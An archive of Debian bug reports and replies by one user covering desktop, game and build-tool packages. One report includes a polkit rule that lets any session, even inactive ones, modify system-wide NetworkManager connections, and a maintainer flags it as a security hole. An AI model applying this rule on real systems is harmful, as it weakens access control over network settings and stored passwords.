> pngnq - Error in pngnq.c near line 498 :
>   rwpng_read_image() error: 21

My screenshots are lost. Testing revealed the following behaviour:
Invoking “pngnq -e .png -f […]” will truncate all the input files.
It will give no output. Please remove lies from the documentation.

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages pngnq depends on:
ii  libc62.19-19
ii  libpng16-16  1.6.21-4
ii  zlib1g   1:1.2.8.dfsg-2+b1

pngnq recommends no packages.

pngnq suggests no packages.

-- no debconf information



Bug#741029: ITP: redo -- a top-down software build system

2016-04-23 Thread Nils Dagsson Moskopp
I have now written man pages for each redo executable and fixed a few
bugs in them. The archive with the binaries and man pages is here:
<http://news.dieweltistgarnichtso.net/bin/archives/redo-sh.tar.gz>

Extracting the files in the archive to /usr/local yields working redo
utilities and man pages on my Debian system.

I have successfully created a Debian package using equivs-build(1).
Where should I upload my package and the build instructions for it?
-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>



Bug#741029: equivs control file for redo(1) implementation

2016-03-10 Thread Nils Dagsson Moskopp
I created a file that can be used with the files linked at
<http://news.dieweltistgarnichtso.net/bin/redo-sh.html> and the
equivs-build(1) command to build a Debian package for redo. I have
attached it to this email and also made it available on my web site
<http://news.dieweltistgarnichtso.net/bin/redo-sh.ctl>.

I have several questions regarding the equivs-build approach:

• Is it allowed by Debian policy to package a program this way? My
  implementation of redo(1) only consists of Bourne Shell scripts and
  can be packaged as-is without invoking a compiler or similar program.

• How do I find the version of coreutils my program depends on? It needs
  cut(1), md5sum(1), mv(1), rm(1), sh(1) and stat(1). Is it possible to
  do a binary search on all past Debian packages to find out which one
  lacked any of these binaries?

• Should I explain why my program suggests coreutils in the description?
  The answer is that it has more functionality on systems with shuf(1).

• How can I specify that the program is licensed AGPL-3 or later?

• Do I need to write a man page for every redo utility?

• Should redo utilities that should only be invoked from redo build
  scripts (“dofiles”) reside in “/usr/lib/redo”, not in “/usr/bin”?

• What is good or bad about the current description of the package?
-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


pgpmAX6mJpC5R.pgp
Description: PGP signature
### Commented entries have reasonable defaults.
### Uncomment to edit them.
# Source: 
Section: devel
Priority: optional
Homepage: http://news.dieweltistgarnichtso.net/bin/redo-sh.html
Standards-Version: 3.9.2

Package: redo-sh
Version: 2016-03-02
Maintainer: Nils Dagsson Moskopp <nils+r...@dieweltistgarnichtso.net>
# Pre-Depends: 
Depends: coreutils | busybox | busybox-static
# Recommends: 
Suggests: coreutils
Provides: redo
# Replaces: 
Architecture: all
# Multi-Arch: 
# Copyright: AGPL-3
# Changelog: 
# Readme: 
# Extra-Files: 
Files: redo /usr/bin
 redo-always /usr/bin
 redo-dot /usr/bin
 redo-ifchange /usr/bin
 redo-ifcreate /usr/bin
 redo-ood /usr/bin
 redo-targets /usr/bin
 redo-sources /usr/bin
 redo-stamp /usr/bin
Description: Top-down software build system, Bourne Shell implementation
 redo is a utility which controls the generation of target files from
 source files. It determines automatically which targets need to be
 (re)created and issues commands to (re)create them. In contrast to
 the widely-used make program, redo records dependencies during the
 build. redo build scripts (“dofiles”) are shell scripts by default,
 but can be written in other languages.
 .
 For the design, see “Rebuilding target files when source files have
 changed” from Daniel J. Bernstein (DJB) <http://cr.yp.to/redo.html>.
 .
 This package contains an implementation of redo in Bourne Shell. For
 an overview of other redo implementations, see “Introduction to redo”
 
<http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/introduction-to-redo.html>.


Bug#815808: /usr/bin/xdg-open: xdg-open on local HTML file provides wrong arguments to browser

2016-02-29 Thread Nils Dagsson Moskopp
I edited the file to remove the readlink invocation; it works now.

Thank you for your help.

Per Olofsson <pe...@debian.org> writes:

> Den 2016-02-25 kl. 20:41, skrev Nils Dagsson Moskopp:
>>>> >> xdg-open invokes /usr/bin/conkeror with the following command line:
>>>> >> “/usr/bin/conkeror $(readlink -m %f) /usr/share/doc/dc/dc.html”.
>>>> >>
>>>> >> On a cursory glance, I have been unable to find a reason for that.
>>> >
>>> > Could you please run
>>> >
>>> >sh -x /usr/bin/xdg-open /usr/share/doc/dc/dc.html
>>> >
>>> > and send me the output?
>> Yes, see the attached file.
>> 
>
> Thanks.
>
> It seems that the desktop file
> /home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop
> contains a line "Exec=conkeror $(readlink -m %f)". I don't think that's
> supported by the desktop file spec.
>
> -- 
> Pelle

-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


pgplPzbTmdYzv.pgp
Description: PGP signature


Bug#815808: /usr/bin/xdg-open: xdg-open on local HTML file provides wrong arguments to browser

2016-02-29 Thread Nils Dagsson Moskopp
Per Olofsson <pe...@debian.org> writes:

> Hi Nils,
>
> Den 2016-02-24 kl. 17:02, skrev Nils Dagsson Moskopp:
>> Dear Maintainer,
>>
>> I tried opening a local HTML file with xdg-open.
>>
>> I passed the absolute path with “xdg-open /usr/share/doc/dc/dc.html”
>>
>> Afterwards, xdg-open started /usr/bin/conkeror and opened the file.
>>
>> However, it also opened a buffer with<http://www.$(readlink.com/>.
>> It also opened another buffer with<http://www.%f).com/>.
>> Both are non-existing URLs I did not want to open.
>>
>> xdg-open invokes /usr/bin/conkeror with the following command line:
>> “/usr/bin/conkeror $(readlink -m %f) /usr/share/doc/dc/dc.html”.
>>
>> On a cursory glance, I have been unable to find a reason for that.
>
> Could you please run
>
>    sh -x /usr/bin/xdg-open /usr/share/doc/dc/dc.html
>
> and send me the output?

Yes, see the attached file.

> -- 
> Pelle

-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


pgpsRg4iOhokx.pgp
Description: PGP signature
+ check_common_commands /usr/share/doc/dc/dc.html
+ [ 1 -gt 0 ]
+ parm=/usr/share/doc/dc/dc.html
+ shift
+ [ 0 -gt 0 ]
+ [ -z  ]
+ unset XDG_UTILS_DEBUG_LEVEL
+ [ 0 -lt 1 ]
+ xdg_redirect_output= > /dev/null 2> /dev/null
+ [ x/usr/share/doc/dc/dc.html != x ]
+ url=
+ [ 1 -gt 0 ]
+ parm=/usr/share/doc/dc/dc.html
+ shift
+ [ -n  ]
+ url=/usr/share/doc/dc/dc.html
+ [ 0 -gt 0 ]
+ [ -z /usr/share/doc/dc/dc.html ]
+ detectDE
+ unset GREP_OPTIONS
+ [ -n i3 ]
+ [ x = x ]
+ [ x != x ]
+ [ x != x ]
+ [ x != x ]
+ dbus-send --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus 
org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
+ 
+ grep  = \"xfce4\"$
+ xprop -root _DT_SAVE_MODE
+ grep -i ^xfce_desktop_window
+ xprop -root
+ grep -q ^Enlightenment
+ echo
+ [ x = x ]
+ [ x = x ]
+ uname
+ [ x = xgnome ]
+ [ x = x ]
+ DE=generic
+ DEBUG 2 Selected DE generic
+ [ -z  ]
+ return 0
+ open_generic /usr/share/doc/dc/dc.html
+ is_file_url_or_path /usr/share/doc/dc/dc.html
+ grep -q ^file://
+ echo /usr/share/doc/dc/dc.html
+ egrep -q ^[[:alpha:]+\.\-]+:
+ echo /usr/share/doc/dc/dc.html
+ return 0
+ file_url_to_path /usr/share/doc/dc/dc.html
+ local file=/usr/share/doc/dc/dc.html
+ grep -q ^file:///
+ echo /usr/share/doc/dc/dc.html
+ echo /usr/share/doc/dc/dc.html
+ local file=/usr/share/doc/dc/dc.html
+ check_input_file /usr/share/doc/dc/dc.html
+ [ ! -e /usr/share/doc/dc/dc.html ]
+ [ ! -r /usr/share/doc/dc/dc.html ]
+ [ -n :0 ]
+ sed s/;.*//
+ xdg-mime query filetype /usr/share/doc/dc/dc.html
+ filetype=text/html
+ open_generic_xdg_mime /usr/share/doc/dc/dc.html text/html
+ filetype=text/html
+ xdg-mime query default text/html
+ default=userapp-conkeror-B4SJ9W.desktop
+ [ -n userapp-conkeror-B4SJ9W.desktop ]
+ xdg_user_dir=
+ [ -n  ]
+ xdg_user_dir=/home/erlehmann/.local/share
+ xdg_system_dirs=
+ [ -n  ]
+ xdg_system_dirs=/usr/local/share/:/usr/share/
+ DEBUG 3 /home/erlehmann/.local/share:/usr/local/share/:/usr/share/
+ [ -z  ]
+ return 0
+ sed s/:/ /g
+ echo /home/erlehmann/.local/share:/usr/local/share/:/usr/share/
+ search_desktop_file userapp-conkeror-B4SJ9W.desktop 
/home/erlehmann/.local/share/applications/ /usr/share/doc/dc/dc.html
+ local default=userapp-conkeror-B4SJ9W.desktop
+ local dir=/home/erlehmann/.local/share/applications/
+ local target=/usr/share/doc/dc/dc.html
+ local file=
+ [ -r 
/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop ]
+ 
file=/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop
+ [ -r 
/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop ]
+ first_word
+ read first rest
+ get_key 
/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop Exec
+ local 
file=/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop
+ local key=Exec
+ local desktop_entry=
+ IFS_= 

+ IFS=
+ read line
+ desktop_entry=y
+ read line
+ read line
+ read line
+ read line
+ read line
+ [ -n y ]
+ cut -d= -f 2-
+ echo Exec=conkeror $(readlink -m %f)
+ echo conkeror
+ read line
+ read line
+ read line
+ IFS=  

+ command=conkeror
+ which conkeror
+ command_exec=/usr/bin/conkeror
+ get_key 
/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop Icon
+ local 
file=/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop
+ local key=Icon
+ local desktop_entry=
+ IFS_= 

+ IFS=
+ read line
+ desktop_entry=y
+ read line
+ read line
+ read line
+ read line
+ read line
+ read line
+ read line
+ read line
+ IFS=  

+ icon=
+ get_key 
/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop Name
+ local 
file=/home/erlehmann/.local/share/applications//userapp-conkeror-B4SJ9W.desktop
+ local key=Name
+ local desktop_entry=
+ IFS_= 

+ IFS=
+ read lin

Bug#815808: /usr/bin/xdg-open: xdg-open on local HTML file provides wrong arguments to browser

2016-02-24 Thread Nils Dagsson Moskopp
Package: xdg-utils
Version: 1.1.1-1
Severity: normal
File: /usr/bin/xdg-open

Dear Maintainer,

I tried opening a local HTML file with xdg-open.

I passed the absolute path with “xdg-open /usr/share/doc/dc/dc.html”

Afterwards, xdg-open started /usr/bin/conkeror and opened the file.

However, it also opened a buffer with .
It also opened another buffer with .
Both are non-existing URLs I did not want to open.

xdg-open invokes /usr/bin/conkeror with the following command line:
“/usr/bin/conkeror $(readlink -m %f) /usr/share/doc/dc/dc.html”.

On a cursory glance, I have been unable to find a reason for that.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

xdg-utils depends on no packages.

Versions of packages xdg-utils recommends:
pn  libfile-mimeinfo-perl  
pn  libnet-dbus-perl   
pn  libx11-protocol-perl   
ii  x11-utils  7.7+3
ii  x11-xserver-utils  7.7+4

Versions of packages xdg-utils suggests:
ii  gvfs-bin  1.22.2-1

-- no debconf information



Bug#615495: goplay fail without explanation right after installation (index must update in the background first)

2016-02-17 Thread Nils Dagsson Moskopp
Package: goplay
Version: 0.9.1+nmu1
Followup-For: Bug #615495

I just want to confirm that this bug still exists. “sudo goplay” did not help.

“/usr/bin/python /usr/sbin/update-apt-xapian-index --force --quiet” is running.
Perhaps it should be part of the package installation / not run in background?

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages goplay depends on:
ii  apt-xapian-index   0.47+nmu2
ii  debtags2.0.2
ii  libapt-pkg5.0  1.1.10
ii  libc6  2.19-19
ii  libcurl3-gnutls7.43.0-1
ii  libept1.5.01.1+nmu3
ii  libfltk-images1.3  1.3.3-6
ii  libfltk1.3 1.3.3-6
ii  libgcc11:4.9.2-10
ii  libstdc++6 5.2.1-17
ii  libx11-6   2:1.6.3-1
ii  libxapian22v5  1.2.22-1
ii  zlib1g 1:1.2.8.dfsg-2+b1

Versions of packages goplay recommends:
ii  games-thumbnails  20120227

goplay suggests no packages.

-- no debconf information



Bug#810729: offlineimap: Changelog refers to nonexistent file

2016-01-11 Thread Nils Dagsson Moskopp
Package: offlineimap
Version: 6.6.1+dfsg1-1
Severity: minor

Dear Maintainer,

the changelog meantions the following local file URL for nametrans docs:


Problem: The file nametrans.html does not exist in offlineimap package.
I tried finding it using “apt-file search nametrans” and got no results.

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages offlineimap depends on:
ii  python-imaplib2  2.53-1
pn  python:any   

Versions of packages offlineimap recommends:
ii  python-pysocks  1.5.0-2

Versions of packages offlineimap suggests:
pn  doc-base 
pn  python-kerberos  

-- no debconf information



Bug#809572: [Pkg-utopia-maintainers] Bug#809572: policykit-1: nm-connection-editor cannot edit or delete connections

2016-01-01 Thread Nils Dagsson Moskopp
Michael Biebl <bi...@debian.org> writes:

> Control: tags -1 - patch
>
> Am 01.01.2016 um 17:21 schrieb Nils Dagsson Moskopp:
>> Package: policykit-1
>> Version: 0.105-14
>> Severity: important
>> Tags: patch
>> 
>> Dear Maintainer,
>> 
>> today I tried to run nm-connection-editor to view a password.
>> The password was for a wireless network, I input it yesterday.
>> 
>> I could not edit the connection in the nm-connection-editor:
>> The button to edit is was greyed out. I am using i3wm as WM.
>> 
>> I found that debian bug #804044 contains a working solution:
>> <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=804044#5>
>> 
>> I edited the following file (see attachment to the bug report):
>> /var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.NetworkManager.pkla
>> After I saved the file, the bug went away. I have no idea why!
>> 
>> I tried to find out which package the file does belong to.
>> I was unable to do so using the “apt-file search” command.
>> Therefore I am filing this bug against policykit-1 now.
>
> This is not a valid patch (as it opens a security hole), thus removing
> the patch tag.

I understand. What exactly is the security hole and how broad is its
scope? Can someone outside my computer now see the network password?

Also, do you have any idea which package owns the file in question?

> It is also not necessary if you have an active logind session.

“pgrep -a logind” outputs:

--- ✂ ---
2118 /lib/systemd/systemd-logind
--- ✂ ---

Does that suffice?

> Do you have an active logind session for your logged in user (check with
> loginctl) and is a polkit agent running in your session?

“loginctl” run as user “erlehmann” outputs:

--- ✂ ---
   SESSIONUID USER SEAT
c1107 lightdm  seat0   
 1   1000 erlehmannseat0   

2 sessions listed.
--- ✂ ---

I have no idea what “a polkit agent” means. “pgrep -a polkit” outputs:

--- ✂ ---
2350 /usr/lib/policykit-1/polkitd --no-debug
--- ✂ ---

>
> -- 
> Why is it that all of the instruments seeking intelligent life in the
> universe are pointed away from Earth?
>

-- 
Nils Dagsson Moskopp // erlehmann
<http://dieweltistgarnichtso.net>


pgpKO89Z5oQYH.pgp
Description: PGP signature


Bug#809572: policykit-1: nm-connection-editor cannot edit or delete connections

2016-01-01 Thread Nils Dagsson Moskopp
Package: policykit-1
Version: 0.105-14
Severity: important
Tags: patch

Dear Maintainer,

today I tried to run nm-connection-editor to view a password.
The password was for a wireless network, I input it yesterday.

I could not edit the connection in the nm-connection-editor:
The button to edit is was greyed out. I am using i3wm as WM.

I found that debian bug #804044 contains a working solution:


I edited the following file (see attachment to the bug report):
/var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.NetworkManager.pkla
After I saved the file, the bug went away. I have no idea why!

I tried to find out which package the file does belong to.
I was unable to do so using the “apt-file search” command.
Therefore I am filing this bug against policykit-1 now.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages policykit-1 depends on:
ii  dbus   1.10.4-1
ii  libc6  2.19-19
ii  libglib2.0-0   2.44.1-1.1
ii  libpam-systemd 204-8
ii  libpam0g   1.1.8-3.1
ii  libpolkit-agent-1-00.105-11
ii  libpolkit-backend-1-0  0.105-11
ii  libpolkit-gobject-1-0  0.105-11

policykit-1 recommends no packages.

policykit-1 suggests no packages.

-- no debconf information
[Adding or changing system-wide NetworkManager connections]
Identity=unix-group:netdev;unix-group:sudo
Action=org.freedesktop.NetworkManager.settings.modify.system
ResultAny=yes
ResultInactive=yes
ResultActive=yes


Bug#806267: gargoyle-free: Crash on startup when loading gblorb file

2015-11-25 Thread Nils Dagsson Moskopp
Package: gargoyle-free
Version: 2011.1a-3+b1
Severity: important

Dear Maintainer,

today I installed the package gargoyle-free to play a text adventure.
I have downloaded the game Coloratura, which can be downloaded from:


However, gargoyle-free crashes, seemingly due to not finding a font.

--- snib ---
# 2015-11-26T01:42+0100 /tmp 
; gargoyle-free Coloratura.gblorb 
fatal: FT_New_Face: LuxiMonoRegular: 0x1
abort
# exited sigabrt
--- snab ---

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages gargoyle-free depends on:
ii  fonts-liberation  1.07.4-1
ii  fonts-linuxlibertine  5.3.0-2
ii  libatk1.0-0   2.16.0-2
ii  libc6 2.19-19
ii  libcairo2 1.14.2-2
ii  libfontconfig12.11.0-6.3
ii  libfreetype6  2.5.2-4
ii  libgcc1   1:4.9.2-10
ii  libgdk-pixbuf2.0-02.31.5-1
ii  libglib2.0-0  2.44.1-1.1
ii  libgtk2.0-0   2.24.28-1
ii  libjpeg62-turbo   1:1.4.1-1
ii  libpango-1.0-01.36.8-3
ii  libpangocairo-1.0-0   1.36.8-3
ii  libpangoft2-1.0-0 1.36.8-3
ii  libpng12-01.2.50-2+b2
ii  libsdl-mixer1.2   1.2.12-11+b1
ii  libsdl-sound1.2   1.0.3-7+b1
ii  libsdl1.2debian   1.2.15-11
ii  libstdc++65.2.1-17
ii  zlib1g1:1.2.8.dfsg-2+b1

gargoyle-free recommends no packages.

gargoyle-free suggests no packages.

-- no debconf information



Bug#805110: glade: GtkEntryCompletion does not render correctly without workaround

2015-11-14 Thread Nils Dagsson Moskopp
Package: glade
Version: 3.18.3-1
Severity: normal

Dear Maintainer,

I made a file with Glade that contains a GtkSearchEntry and a 
GtkEntryCompletion.
The completion dropdown did not render right, until I included this Python code:

--- snib ---
entrycompletion_search = self.builder.get_object("entrycompletion_search")
entrycompletion_search.set_text_column(0)
--- snab ---

Before that the suggestion in the dropdown was invisible, although it worked.

I suspect that it might be the same bug as this one:


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages glade depends on:
ii  libatk1.0-0  2.16.0-2
ii  libc62.19-19
ii  libcairo-gobject21.14.2-2
ii  libcairo21.14.2-2
ii  libgdk-pixbuf2.0-0   2.31.5-1
ii  libgladeui-2-6   3.18.3-1
ii  libglib2.0-0 2.44.1-1.1
ii  libgtk-3-0   3.14.5-1
ii  libpango-1.0-0   1.36.8-3
ii  libpangocairo-1.0-0  1.36.8-3
ii  libxml2  2.9.1+dfsg1-5

Versions of packages glade recommends:
pn  devhelp   
ii  libgtk-3-dev  3.14.5-1

glade suggests no packages.

-- no debconf information



Bug#797998: unknown-horizons: Crash shortly after start of single player game

2015-09-04 Thread Nils Dagsson Moskopp
Package: unknown-horizons
Version: 2014.1+ds1-2
Severity: important

Dear Maintainer,

I started Unknown Horizons and selected “single player game“.
I then chose the second map (the one that is not “tutorial”).

The game crashed before I could build the first settlement.
Reproducing that, the game just crashed after a short time.
I can play UH for approximately a minute before it crashes.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages unknown-horizons depends on:
ii  dpkg 1.18.1
ii  python   2.7.9-1
ii  python-enet  0.0~svn24-1+b2
ii  python-fife  0.3.5-1+b1
ii  python-yaml  3.11-2
pn  python:any   

unknown-horizons recommends no packages.

unknown-horizons suggests no packages.

-- no debconf information



Bug#794470: ITP: openxcom -- Open-source clone of the original X-Com game

2015-08-04 Thread Nils Dagsson Moskopp
Alexandre Detiste alexandre.deti...@gmail.com writes:

 Package: wnpp
 Severity: wishlist
 Owner: Alexandre Detiste alexandre.deti...@gmail.com

 * Package name: openxcom
   Version : 1.1 (not yet released)
   Upstream Author : SupSuper @ GitHub, OpenXcom Developers
 * URL : http://openxcom.org/
 * License : GPL 3
   Programming Lang: C
   Maintainer  : Debian Games Team
   Description : Open-source clone of the original X-Com game

 As this needs the original game data, as currently still
 sold on Steam, this game would go in contrib.

I think it should be noted that this game data is not only available on
Steam, though. Did other games (OpenTTD before free content) note the
availability of game data on abandonware sites in their README?

 Upcoming game-data-packager can automacialy create a .deb
 for local consumption with these data.

For future reference: “Since OpenXcom depends on the original game data,
it also suffers from bugs present in that data like map glitches and
problems. To fix these you need to apply a data patch.”.

Source: http://openxcom.org/downloads-extras/

 A draft package is available here:
 http://anonscm.debian.org/cgit/pkg-games/openxcom.git/

 The current draft package is built upon a recent git snapshot,
 because the commercial data layout has evolved since v1.0
 to allow room for 'Terror from the deep' sequel.


 There is a regression in libyaml-cpp0.5 0.5.2;
 one needs to downgrade to 0.5.1-1 before building this draft package.

 This will be solved in next libyaml-cpp release:
 https://github.com/jbeder/yaml-cpp/commit/b426fafff6238dda8d86fa668f585cba732dd272


 -- 
 To UNSUBSCRIBE, email to debian-devel-games-requ...@lists.debian.org
 with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
 Archive: https://lists.debian.org/20150803120222.27135.23545.reportbug@antec


-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgp6mLlyXO0Et.pgp
Description: PGP signature


Bug#784135: out-of-order: starting out-of-order produces black window and high system load

2015-05-03 Thread Nils Dagsson Moskopp
Package: out-of-order
Version: 1.0-2
Severity: grave
Justification: renders package unusable

Dear Maintainer,

I started out-of-order and it produces a black window and high system load.
I killed it using killall and xkill. I did expect to see some kind of game.

Here is the output of “out-of-order -d1” right up until the program hangs:

--- snib ---
*** Engine compiled May  3 2014 at 12:59:22.
Video mode 1049 787 set successfully.
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 3 (smartScaler)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 6 (fixScaleSprite)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 9 (yuv)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 12 (texture)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 15 (color)
OpenGL 2.0! All is good.
Max texture image units: 8
loadBankForAnim: New sprite bank created OK
--- snab ---


-- System Information:
Debian Release: 8.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages out-of-order depends on:
ii  sludge-engine  2.2.1-1

out-of-order recommends no packages.

out-of-order suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#782847: RFS: endless-sky/0.7.9-1 [ITP]

2015-04-19 Thread Nils Dagsson Moskopp
Michael Zahniser mzahni...@gmail.com writes:

 I agree that having the source for all the graphics available for 
 anyone to view or modify is important. But I can't just export from 
 Blender files: for the 3D images, I touched them up by hand in GIMP 
 after rendering them, adding texture, scuff marks, color variation, and 
 random shadows and highlights. That was to make them look dirty and worn 
 rather than pristine and artificial. Similarly, a lot of the photos have 
 been retouched, e.g. shifting the colors to make them look more like 
 alien landscapes.

 That means that the source files include many large GIMP files, and 
 add up to over 3 GB. That's large enough that I think it's better for 
 the image source files to be available separately rather than including 
 them in the main source distribution. (I could add a line to the read-me 
 giving a link to the current location (Google drive) of those files.)

I predict that Google Drive can and will go down sooner than you think,
with little advance warning. You should never rely on services provided
by an entity with a history of breaking running systems like Google. See
http://web.archive.org/web/20071020051936/http://iq.org/#Selfdestructingpaper:

  A spy opens an envelope. Inside is a thin sheet of paper with a
  cryptic message. After it is read the paper spontaneously bursts into
  flames.

 The message is the communicable distillation of your hopes, dreams and
 imagination. The paper is the internet. The internet is self
 destructing paper. A place where anything written is soon destroyed by
 rapacious competition and the only preservation is to forever copy
 writing from sheet to sheet faster than they can burn.

 If it's worth writing, it's worth keeping. If it can be kept, it might
 be worth writing. Would your store your brain in a startup company's
 vat? If you store your writing on a 3rd party site like blogger,
 livejournal or even on your own site, but in the complex format used
 by blog/wiki software de jour you will lose it forever as soon as
 hypersonic wings of internet labor flows direct people's energies
 elsewhere. For most information published on the internet, perhaps
 that is not a moment to soon, but how can the muse of originality soar
 when immolating transience brushes every feather?

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgp3DisJ3fJch.pgp
Description: PGP signature


Bug#779604: network-manager: NetworkManager crashes on modem hangup

2015-03-05 Thread Nils Dagsson Moskopp
Package: network-manager
Version: 0.9.10.0-6
Followup-For: Bug #779604

Dear Maintainer,

this is becoming annoying. I now do “sudo service network-manager force-reload”
multiple times every day. From my syslog it seems network-manager always says:

--- snib ---
Mar  5 20:04:12 lustschutzbunker dbus[1990]: [system] Activating service 
name='org.freedesktop.NetworkManager' (using servicehelper)
Mar  5 20:04:13 lustschutzbunker dbus[1990]: [system] Activated service 
'org.freedesktop.NetworkManager' failed: Launch helper exited with unknown 
return code 1
--- snab ---

I do not know what servicehelper is and could not find such a file or package.

-- System Information:
Debian Release: 8.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages network-manager depends on:
ii  adduser3.113+nmu3
ii  dbus   1.8.10-1
ii  init-system-helpers1.21
ii  isc-dhcp-client4.3.1-1
ii  libc6  2.19-13
ii  libdbus-1-31.8.12-3
ii  libdbus-glib-1-2   0.102-1
ii  libgcrypt201.6.2-4+b1
ii  libglib2.0-0   2.42.1-1
ii  libgnutls-deb0-28  3.3.8-5
ii  libgudev-1.0-0 215-10
ii  libmm-glib01.4.0-1
ii  libndp01.4-2
ii  libnewt0.520.52.17-1+b1
ii  libnl-3-2003.2.24-2
ii  libnl-genl-3-200   3.2.24-2
ii  libnl-route-3-200  3.2.24-2
ii  libnm-glib40.9.10.0-5
ii  libnm-util20.9.10.0-5
ii  libpam-systemd 204-8
ii  libpolkit-gobject-1-0  0.105-8
ii  libreadline6   6.3-8+b3
ii  libsoup2.4-1   2.48.0-1
ii  libsystemd0215-10
ii  libteamdctl0   1.12-1
ii  libuuid1   2.25.2-4.1
ii  lsb-base   4.1+Debian13+nmu1
ii  policykit-10.105-8
ii  udev   204-8
ii  wpasupplicant  2.3-1

Versions of packages network-manager recommends:
ii  crda3.13-1
ii  dnsmasq-base2.72-2
ii  iptables1.4.21-2+b1
ii  iputils-arping  3:20121221-5+b2
ii  modemmanager1.4.0-1
